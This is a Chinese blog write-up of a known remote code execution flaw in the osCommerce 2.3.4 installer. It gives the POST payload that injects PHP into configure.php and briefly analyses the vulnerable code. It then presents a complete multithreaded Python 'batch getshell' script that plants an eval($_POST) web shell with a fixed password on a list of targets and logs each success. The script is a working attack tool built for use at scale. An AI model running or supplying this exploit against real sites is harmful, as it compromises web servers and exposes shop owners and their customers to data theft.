0x01 前言

好几天没有写了,前两天又去Boom了,差点没缓过来。今天在exploit-db逛看到一个洞,也是install的地方,想去利用上次那个远程数据库技巧来尝试下,发现这个洞根本用不到,不过新手可以学习下哈,也可以收藏下,因为有时候在ctf线下赛的时候官方会拿一些国外的程序给你玩,最近也在写python的漏洞利用工具,欢迎关注我的github。

0x02 环境

程序源码下载:https://www.exploit-db.com/apps/ce2796b352d6e0fb4e9f03866ae98541-oscommerce-2.3.4.zip Web环境:Windows 10+Apache2+PHP5.6+MySQL

0x03 漏洞利用过程

1.我们先正常安装这个程序

2.执行我们的payload

GET:http://127.0.0.1/oscommerce/install/install.php?step=4
POST:DIR_FS_DOCUMENT_ROOT=./&DB_DATABASE=');phpinfo();/*

3.访问写入代码的文件

GET:http://127.0.0.1/oscommerce/install/includes/configure.php

写入的内容:

0x04 漏洞代码分析过程

漏洞文件出现的位置是:\install\templates\pages\install_4.php

说起这个国外写的程序还没我们国内的严谨,安装完没有写入install.lock或者像Joomla(最近正在写)一样强制让客户删除安装文件。

直接看代码吧,过程也不算太复杂。这里用到了PHP以下的函数$HTTP_POST_VARS这个函数类似与PHP4及以上的$_POST。这里是接收参数的地方。

最重要还是这里,因为如果没有传入DIR_FS_DOCUMENT_ROOT的话下面写入文件就无法进行了。

0x05 Payload构造

DIR_FS_DOCUMENT_ROOT是必须的了,让它等于根目录./就行了。 写入恶意代码就用DB_DATABASE吧,我们先用闭合');前面,然后再写入phpinfo();,后面它会自动加上’);,exploit-db上面是直接加上/*注释掉的,因为这个程序很奇怪,先一遍在install的配置文件,然后再写到程序里面的配置文件,所以就不会顾虑网站会崩的问题了。 payload: post 模式DIR_FS_DOCUMENT_ROOT=./&DB_DATABASE=');phpinfo();/*

0x06 用Python编写批量getshell脚本

我觉得你们应该读得懂这个代码吧,如果有需要的话我以后会把这里面的流程解释一遍。

#!/usr/bin/env
#author:F0rmat
import sys
import requests
import threading
def exploit(target):
    if sys.argv[1]== "-f":
        target=target[0]
    url1=target+"/install/install.php?step=4"
    data={
    'DIR_FS_DOCUMENT_ROOT': './',
    'DB_DATABASE':"\');@eval($_POST['f0rmat']);echo 'F0rmat';/*"
    }
    url2=target+"install/includes/configure.php"
    try:
        requests.post(url1,data=data)
        verify = requests.get(url2, timeout=3)
        if "F0rmat" in verify.content:
            print 'Write success,shell url:',url2,'pass:f0rmat'
            with open("success.txt","a+") as f:
                f.write(url2+'  pass:f0rmat'+"\n")
        else:
            print target,'Write failure!'
    except Exception, e:
        print e
def main():
    if len(sys.argv)<3:
        print 'python osCommerce_rce.py -h target/-f target-file '
    else:
        if sys.argv[1] == "-h":
            exploit(sys.argv[2])
        elif sys.argv[1] == "-f":
            with open(sys.argv[2], "r") as f:
                b = f.readlines()
                for i in xrange(len(b)):
                    if not b[i] == "\n":
                        threading.Thread(target=exploit, args=(b[i].split(),)).start()



if __name__ == '__main__':
    main()

0x08 结束

这个洞确实有点简单了哈哈。

0x09 参考

https://www.exploit-db.com/exploits/44374/ https://github.com/F0r3at/Python-Tools